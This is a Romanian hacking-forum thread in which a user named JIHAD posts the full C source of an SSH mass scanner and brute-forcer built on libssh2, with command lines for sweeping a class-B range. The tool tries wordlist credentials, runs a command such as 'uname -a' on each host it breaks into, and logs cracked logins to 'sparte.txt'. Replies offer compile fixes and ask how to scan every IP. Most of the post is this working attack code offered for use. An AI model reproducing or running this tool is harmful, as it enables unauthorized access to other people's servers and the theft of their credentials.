Jump to content
JIHAD

SSH SCANNER & BRUTE

Recommended Posts

Posted (edited)

Salut,

Scanner-ul foloseste libssh2 (libssh2), pscan.c(inclus in codul sursa).

Se ruleaza ptr. scan clasa B: ./brute -b 10.10 -t 1800 -user users.lst -pass pass.lst -p 22 -c "uname -a"

Ptr. brute lista ip: ./brute -f ip.lst -t 1800 -user users.lst -pass pass.lst -p 22 -c "uname -a"

-t = numarul de thread-uri

-p = portul

-c = "comanda de executat

ip.lst = lista ip-uri cate unul per rand

user.lst = lista users, cate unu per rand,

pass.lst = lista parole, cate una per rand

in pass.lst daca puneti $user, atunci parola va fi ca userul, daca puneti $user123, parola va fi, user123, de ex:

user: oracle

pass: $user123

scannerul va incerca oracle:oracle123

Sper sa va placa.

Initial avea si generare de IP-uri random, dar am scos. Reverificati codul sursa daca va apar erori la compilare.

#define LIBSSH2_STATIC 1
#include "libssh2_config.h"
#include <libssh2.h>
#ifdef HAVE_WINSOCK2_H
# include <winsock2.h>
#endif
#ifdef HAVE_SYS_SOCKET_H
# include <sys/socket.h>
#endif
#ifdef HAVE_NETINET_IN_H
# include <netinet/in.h>
#endif
#ifdef HAVE_SYS_SELECT_H
# include <sys/select.h>
#endif
# ifdef HAVE_UNISTD_H
#include <unistd.h>
#endif
#ifdef HAVE_ARPA_INET_H
# include <arpa/inet.h>
#endif
#include <sys/time.h>
#include <sys/types.h>
#include <stdlib.h>
#include <fcntl.h>
#include <string.h>
#include <errno.h>
#include <stdio.h>
#include <ctype.h>
#include <netdb.h>
#include <time.h>
#include <sys/wait.h>
#include <termios.h>
#define ALB "\033[1;37m"
#define ALB2 "\033[5;37m"
#define NORM "\033[00;00m"
#define BOLD "\033[00;01m"
#define ROSU "\033[01;31m"
#define GALBE "\033[01;33m"
#define VERDE "\033[01;32m"
#define ALBASTRU "\033[01;34m"
#define FAKE "./jahid"

#define COMPUTATIONS 3000
#define TOTAL_VAL_COUNT 254
#define MAX_SOCKETS 1000
#define TIMEOUT 3

#define S_NONE 0
#define S_CONNECTING 1
#define TABLELEN 63
#define BUFFFERLEN 128

#define ENCODERLEN 4
#define ENCODEROPLEN 0
#define ENCODERBLOCKLEN 3

#define PADDINGCHAR '='
#define BASE64CHARSET "ABCDEFGHIJKLMNOPQRSTUVWXYZ"\
"abcdefghijklmnopqrstuvwxyz"\
"0123456789"\
"+/";
#define _FILE_OFFSET_BITS 64
#define EOL '\n'
#define CAR_RETURN '\r'
#define SUCCESS 0
#define FAILURE -1


struct conn_t {
int s;
char status;
time_t a;
struct sockaddr_in addr;
};
struct conn_t connlist[MAX_SOCKETS];

void init_sockets(void);
void check_sockets(void);
void fatal(char *);

FILE *outfd;
int tot = 0;
int flag,where;
int numforks,maxf;

unsigned char denominator = TOTAL_VAL_COUNT+1;



char *replace_str(char *str, char *orig, char *rep)
{
static char buffer[4096];
char *p;

if(!(p = strstr(str, orig)))
return str;

strncpy(buffer, str, p-str);
buffer[p-str] = '\0';

sprintf(buffer+(p-str), "%s%s", rep, p+strlen(orig));

return buffer;
}


void init_sockets(void)
{
int i;

for (i = 0; i < MAX_SOCKETS; i++)
{
connlist[i].status = S_NONE;
memset((struct sockaddr_in *)&connlist[i].addr, 0, sizeof(struct sockaddr_in));
}
return;
}

void check_sockets(void)
{
int i, ret;

for (i = 0; i < MAX_SOCKETS; i++)
{
if ((connlist[i].a < (time(0) - TIMEOUT)) && (connlist[i].status == S_CONNECTING))
{
close(connlist[i].s);
connlist[i].status = S_NONE;
}
else if (connlist[i].status == S_CONNECTING)
{
ret = connect(connlist[i].s, (struct sockaddr *)&connlist[i].addr,
sizeof(struct sockaddr_in));
if (ret == -1)
{
if (errno == EISCONN)
{
tot++;
fprintf(outfd, "%s\n",
(char *)inet_ntoa(connlist[i].addr.sin_addr));
close(connlist[i].s);
connlist[i].status = S_NONE;
}

if ((errno != EALREADY) && (errno != EINPROGRESS))
{
close(connlist[i].s);
connlist[i].status = S_NONE;
}
}
else
{
tot++;
fprintf(outfd, "%s\n",
(char *)inet_ntoa(connlist[i].addr.sin_addr));
close(connlist[i].s);
connlist[i].status = S_NONE;
}
}
}
}

void fatal(char *err)
{
int i;
printf("Error: %s\n", err);
for (i = 0; i < MAX_SOCKETS; i++)
if (connlist[i].status >= S_CONNECTING)
close(connlist[i].s);
fclose(outfd);
exit(EXIT_FAILURE);
}

static int waitsocket(int socket_fd, LIBSSH2_SESSION *session)
{
struct timeval timeout;
int rc;
fd_set fd;
fd_set *writefd = NULL;
fd_set *readfd = NULL;
int dir;

timeout.tv_sec = 2;
timeout.tv_usec = 0;

FD_ZERO(&fd);

FD_SET(socket_fd, &fd);

dir = libssh2_session_block_directions(session);


if(dir & LIBSSH2_SESSION_BLOCK_INBOUND)
readfd = &fd;

if(dir & LIBSSH2_SESSION_BLOCK_OUTBOUND)
writefd = &fd;

rc = select(socket_fd + 1, readfd, writefd, NULL, &timeout);

return rc;
}

int checkauth(char *username,char *password,char *hostname, char *portar, char *command)
{
const char *commandline = command;
FILE *vulnf,*nolog;
unsigned long hostaddr;
int sock, port;
struct sockaddr_in sin;
const char *fingerprint;
LIBSSH2_SESSION *session;
LIBSSH2_CHANNEL *channel;
int rc;
int exitcode;
char *exitsignal=(char *)"none";
int bytecount = 0;
size_t len;
int type, var;
struct timeval timeout;
timeout.tv_sec = 10;
timeout.tv_usec = 0;
port=atoi(portar);
rc = libssh2_init (0);

if (rc != 0) {
fprintf (stderr, "libssh2 initialization failed (%d)\n", rc);
return 1;
}

hostaddr = inet_addr(hostname);

sock = socket(AF_INET, SOCK_STREAM, 0);

sin.sin_family = AF_INET;
sin.sin_port = htons(port);
sin.sin_addr.s_addr = hostaddr;

if (setsockopt (sock, SOL_SOCKET, SO_RCVTIMEO, (char *)&timeout,
sizeof(timeout)) < 0)
error("setsockopt failed\n");

if (setsockopt (sock, SOL_SOCKET, SO_SNDTIMEO, (char *)&timeout,
sizeof(timeout)) < 0)
error("setsockopt failed\n");

if (connect(sock, (struct sockaddr*)(&sin),
sizeof(struct sockaddr_in)) != 0) {
return -1;
}

session = libssh2_session_init();

while ((rc = libssh2_session_handshake(session, sock)) ==

LIBSSH2_ERROR_EAGAIN);
if (rc) {

return -1;
}

while ((rc = libssh2_userauth_password(session, username, password)) ==

LIBSSH2_ERROR_EAGAIN);
if (rc) {

goto shutdown;
}


while( (channel = libssh2_channel_open_session(session)) == NULL &&

libssh2_session_last_error(session,NULL,NULL,0) ==

LIBSSH2_ERROR_EAGAIN )
{
waitsocket(sock, session);
}
if( channel == NULL )
{

goto shutdown;
}

while( (rc = libssh2_channel_exec(channel, commandline)) ==

LIBSSH2_ERROR_EAGAIN )
{
waitsocket(sock, session);
}


if( rc != 0 )
{

goto shutdown;
}


for( ;; )
{

int rc;
do
{
char buffer[65535];
rc = libssh2_channel_read( channel, buffer, sizeof(buffer) );

if( rc > 0 )
{
int i;
bytecount += rc;
hostname = strtok (hostname, "\n");
fprintf(stderr, "[*] WOW : %s:%s %s port: %s \n", username,password,hostname, portar);
fprintf(stderr, "[*] Kernel: %s \n", buffer);
vulnf=fopen("sparte.txt","a+");
fprintf(vulnf,"%s:%s %s port: %s --> %s \n",username,password,hostname,portar, buffer);
fclose(vulnf);
goto shutdown;
for( i=0; i < rc; ++i )
var = i;
}

else {
if( rc != LIBSSH2_ERROR_EAGAIN )

goto shutdown;
}
}
while( rc > 0 );


if( rc == LIBSSH2_ERROR_EAGAIN )
{
waitsocket(sock, session);
}
else
break;
}

exitcode = 127;
while( (rc = libssh2_channel_close(channel)) == LIBSSH2_ERROR_EAGAIN )

waitsocket(sock, session);

if( rc == 0 )
{
exitcode = libssh2_channel_get_exit_status( channel );

libssh2_channel_get_exit_signal(channel, &exitsignal,

NULL, NULL, NULL, NULL, NULL);
}

if (exitsignal)
var = var;
else
var = var;

libssh2_channel_free(channel);
close(sock);
channel = NULL;
libssh2_session_disconnect(session,

"Normal Shutdown, Thank you for playing");
libssh2_session_free(session);
libssh2_exit();
exit(0);

shutdown:

libssh2_session_disconnect(session,

"Normal Shutdown, Thank you for playing");
libssh2_session_free(session);

#ifdef WIN32
closesocket(sock);
#else
close(sock);
#endif
var = var;

libssh2_exit();
return 0;
}

int scanbclass(char *bclass, char *port)
{
int done = 0, i, cip = 1, bb = 0, ret, k, ns, x;
time_t scantime;
char ip[20], outfile[128], last[256];
int unlink(const char *pathname);

errno = 0;
if(unlink("scan.log"))
{
printf("\n unlink() failed - [%s]\n",strerror(errno));
}
memset(&outfile, 0, sizeof(outfile));

snprintf(outfile, sizeof(outfile) - 1, "scan.log", bclass, port);

if (!(outfd = fopen(outfile, "a")))
{
perror(outfile);
exit(EXIT_FAILURE);
}
printf("[-] Searching: ", bclass);
fflush(stdout);

memset(&last, 0, sizeof(last));
init_sockets();
scantime = time(0);

while(!done)
{
for (i = 0; i < MAX_SOCKETS; i++)
{
if (cip == 255)
{
if (bb == 255)
{
ns = 0;
for (k = 0; k < MAX_SOCKETS; k++)
{
if (connlist[k].status > S_NONE)
{
ns++;
break;
}
}

if (ns == 0)
done = 1;

break;
}
else
{
cip = 0;
bb++;
for (x = 0; x < strlen(last); x++)
putchar('\b');
memset(&last, 0, sizeof(last));
snprintf(last, sizeof(last) - 1, "%s.%d.* on port: %s [Found: %d] [%.1f%% Done]",
bclass, bb, port, tot, (bb / 255.0) * 100);
printf("%s", last);
fflush(stdout);
}
}

if (connlist[i].status == S_NONE)
{
connlist[i].s = socket(AF_INET, SOCK_STREAM, 0);
if (connlist[i].s == -1)
printf("Unable to allocate socket.\n");
else
{
ret = fcntl(connlist[i].s, F_SETFL, O_NONBLOCK);
if (ret == -1)
{
printf("Unable to set O_NONBLOCK\n");
close(connlist[i].s);
}
else
{
memset(&ip, 0, 20);
sprintf(ip, "%s.%d.%d", bclass, bb, cip);
connlist[i].addr.sin_addr.s_addr = inet_addr(ip);
if (connlist[i].addr.sin_addr.s_addr == -1)
fatal("Invalid IP.");
connlist[i].addr.sin_family = AF_INET;
connlist[i].addr.sin_port = htons(atoi(port));
connlist[i].a = time(0);
connlist[i].status = S_CONNECTING;
cip++;
}
}
}
}
check_sockets();
}

printf("\n[!] Scanning complete In %u Seconds. [We got %d ips]\n", (time(0) - scantime), tot);
fclose(outfd);
return 1;
}


int line_count(char* __str_file_name) {
FILE* fd;
int ch;
if ((fd = fopen(__str_file_name, "r")) == NULL) {
printf("[Error] : While opening the file\n");
exit(0);
}

unsigned int line_count = 0;
while ( (ch = fgetc(fd)) != EOF)
if (ch == EOL || ch == CAR_RETURN)
++line_count;

if (fd) {
fclose(fd);
}

return line_count;
}

int scan(char *app, char *thr, char *ipfile, char *userfile, char *passfile, char *portar, char *commandline)
{
int numforks, maxf, status;
FILE *fp,*passf, *userf;
char buff[4096];
char nutt2[4096];
char nutt[4096];
char *pass, *user;
malloc(sizeof(nutt));
malloc(sizeof(nutt2));
malloc(sizeof(buff));
pid_t PID;
char *ns = NULL;
maxf=atoi(thr);
if((userf=fopen(userfile,"r"))==NULL) exit(printf("FATAL: Cannot open %s \n", userfile));
while (fgets(nutt2,sizeof(nutt2),userf)){
user = strdup (nutt2);
user = strtok (user, "\n");
if((passf=fopen(passfile,"r"))==NULL) exit(printf("FATAL: Cannot open %s \n", passfile));
while (fgets(nutt,sizeof(nutt),passf)) {
pass = strdup (nutt);
pass = strtok (pass, "\n");
ns = replace_str(pass, "$user", user);
printf("[*] Trying: %s:%s on found ips\n",user,ns);
if((fp=fopen(ipfile,"r"))==NULL) exit(printf("FATAL: Cannot open %s", ipfile));
while(fgets(buff,sizeof(buff),fp))
{
PID = fork();
if (PID < 0) {
fprintf(stderr, "[!] Couldn't fork!\n");
exit(1);
}
if (( PID == 0 )){

checkauth(user,ns,buff, portar, commandline);
//printf("[*] Trying: %s:%s %s:%s Protocol:%s\n",user,ns, buff,portar,prot);
exit(0);
}
else
{
numforks++;
if (numforks > maxf)
for (numforks; numforks > maxf; numforks--)
PID = wait(&status);
}
}
fclose(fp);
}
fclose(passf);
}
fclose(userf);
exit(0);
}

int main(int argc, char *argv[])
{
int input,i=0;
FILE *fp,*passf, *userf, *scanf;
char encodedoutput[BUFFFERLEN + 1] = "";
char decodedoutput[BUFFFERLEN + 1] = "";
char *userfile, *passfile, *command, *threads, *scanfile, *bclass, *port, *t2, *prot;
if(strcmp(argv[1],"-f")==0) { input = 1; }
if(strcmp(argv[1],"-r")==0) { input = 2; }
if(strcmp(argv[1],"-R")==0) { input = 3; }
if(strcmp(argv[1],"-b")==0) { input = 4; }

switch ( input ) {

case 1:
for (i = 0; i < argc; i++){
if(strcmp(argv[i],"-p") ==0) { port = argv[i+1]; }
if(strcmp(argv[i],"-user")==0) { userfile = argv[i+1]; }
if(strcmp(argv[i],"-pass")==0) { passfile = argv[i+1]; }
if(strcmp(argv[i],"-t") ==0) { threads = argv[i+1]; }
if(strcmp(argv[i],"-c") ==0) { command = argv[i+1]; }
}
scanfile = argv[2];
if((scanf=fopen(scanfile,"r"))!= NULL){
if (atoi(threads)) {
if (atoi(port) > 2) {
if((userf=fopen(userfile,"r"))!=NULL){
if((passf=fopen(passfile,"r"))!=NULL){
if(command != NULL) { scan(argv[0],threads,scanfile,userfile,passfile,port,command);}
else { goto err; }
} else { goto err; }
} else { goto err; }
} else { goto err; }
} else { goto err; }
} else { goto err; }
break;

case 2:
for (i = 0; i < argc; i++){
if(strcmp(argv[i],"-p") ==0) { port = argv[i+1]; }
if(strcmp(argv[i],"-user")==0) { userfile = argv[i+1]; }
if(strcmp(argv[i],"-pass")==0) { passfile = argv[i+1]; }
if(strcmp(argv[i],"-t") ==0) { threads = argv[i+1]; }
if(strcmp(argv[i],"-c") ==0) { command = argv[i+1]; }
}
if (atoi(threads)) {
if (atoi(port) > 2) {
if((userf=fopen(userfile,"r"))!=NULL){
if((passf=fopen(passfile,"r"))!=NULL){
if(command != NULL) {
//genrand(argv[0],threads,userfile,passfile,port,command);
}
else { goto err; }
} else { goto err; }
} else { goto err; }
} else { goto err; }
} else { goto err; }
break;

case 3:
for (i = 0; i < argc; i++){
if(strcmp(argv[i],"-p") ==0) { port = argv[i+1]; }
if(strcmp(argv[i],"-t") ==0) { threads = argv[i+1]; }
}
if (atoi(threads)) {
if (atoi(port) > 2) {
//genrandl(threads, port);
} else { goto err; }
} else { goto err; }
break;

case 4:
for (i = 0; i < argc; i++){
if(strcmp(argv[i],"-p") ==0) { port = argv[i+1]; }
if(strcmp(argv[i],"-user")==0) { userfile = argv[i+1]; }
if(strcmp(argv[i],"-pass")==0) { passfile = argv[i+1]; }
if(strcmp(argv[i],"-t") ==0) { threads = argv[i+1]; }
if(strcmp(argv[i],"-c") ==0) { command = argv[i+1]; }
}
bclass = argv[2];
if (atoi(threads)) {
if (atoi(port) > 2) {
if((userf=fopen(userfile,"r"))!=NULL){
if((passf=fopen(passfile,"r"))!=NULL){
if(command != NULL) {

scanbclass(bclass, port);
scan(argv[0],threads,"scan.log",userfile,passfile,port, command);
}
else { goto err; }
} else { goto err; }
} else { goto err; }
} else { goto err; }
} else { goto err; }

break;

default:
printf( "Bad command, quitting!\n" );
exit (0);
break;
}
getchar();
exit (0);
err:
exit (-1);
}

JIHAD!

Edited by JIHAD
  • Upvote 1
Posted
poti face, ai functia scan, incarci doar passfile, bagi un split la fiecare linie cu separator ":" si ai user si pass.

succes. ;)

Pai si comanda va fi : ./brute -f ip.lst -t 1800 -pass pass.lst -p 22 -c "uname -a" nu ?

Posted

Initial avea si generare de IP-uri random -

Am nevoie de toate ipurile existente de la 1 la 255 ? putea scaneru asta sa faca treaba asta?

sau daca nu merge cum as putea sa fac ?

dami mesaj priv ca sa vad ms mult salut

Posted (edited)

Mie imi da asa ceva la compilare. Help?

brute.c: In function 'check_sockets':
brute.c:141: warning: cast to pointer from integer of different size
brute.c:156: warning: cast to pointer from integer of different size

Edited by sTzzz
Posted

JIHAD, salut, foarte bun codul, dar am o problema la compilarea lui, se compileaza fara libssh2.so.1 inclus in sursa. si pe alte rooturi nu merge daca nu este instalata libssh2. imi poti da un sfat sa o pot compila cu libssh2.so inclus in proiect ? astept PM. ms anticipat

  • Downvote 1
Posted (edited)
i get this error file.c:2:28: fatal error: libssh2_config.h: No such file or directory

compilation terminated.


[] ~
$ locate libssh2_config.h
/usr/share/doc/libssh2-1-dev/examples/libssh2_config.h.in.gz

[] ~
$ cp /usr/share/doc/libssh2-1-dev/examples/libssh2_config.h.in.gz /tmp

[] ~
$ cd /tmp

[] /tmp
$ gunzip libssh2_config.h.in.gz

[] /tmp
$ cp libssh2_config.h /locatia/catre/sursa/ta

Fii sigur ca ai libssh2 development headers (libssh2-1-dev in cazul meu, pe debian).

Make sure you have libssh2 development headers (libssh2-1-dev on my debian system).

Edited by kNigHt
Posted

Daca nu exista fisierul "scan.log", apare urmatoarea eroare: "unlink() failed - [No such file or directory]"

Fix:

Incepand cu linia 398, replace:


if(unlink("scan.log"))
{
printf("\n unlink() failed - [%s]\n",strerror(errno));
}

Cu:


if(access("scan.log", F_OK) != -1) {
if(unlink("scan.log"))
{
printf("\n unlink() failed - [%s]\n",strerror(errno));
}
}

Spor :)

Posted
nu te supara, dar si eu am incercat sa o compilez aseara , e greu de compilat pentru un incepator, defapt foarte greu, daca tot ai facut-o publica, ajuta-i pana la capat altfel e doar o sursa postata si atat. fac pariu ca doar maxim 10 persoane cu +- au reusit sa o compileze

sunt de parere ca e doar un copy paste ..

Pai un incepator in loc sa dea ./a ip.ip mai bine ar invata treburi elementare, sursa a fost postata la programare, nu ca arhiva. Vba aia, daca esti prost, stai acasa.

Guest
This topic is now closed to further replies.


×
×
  • Create New...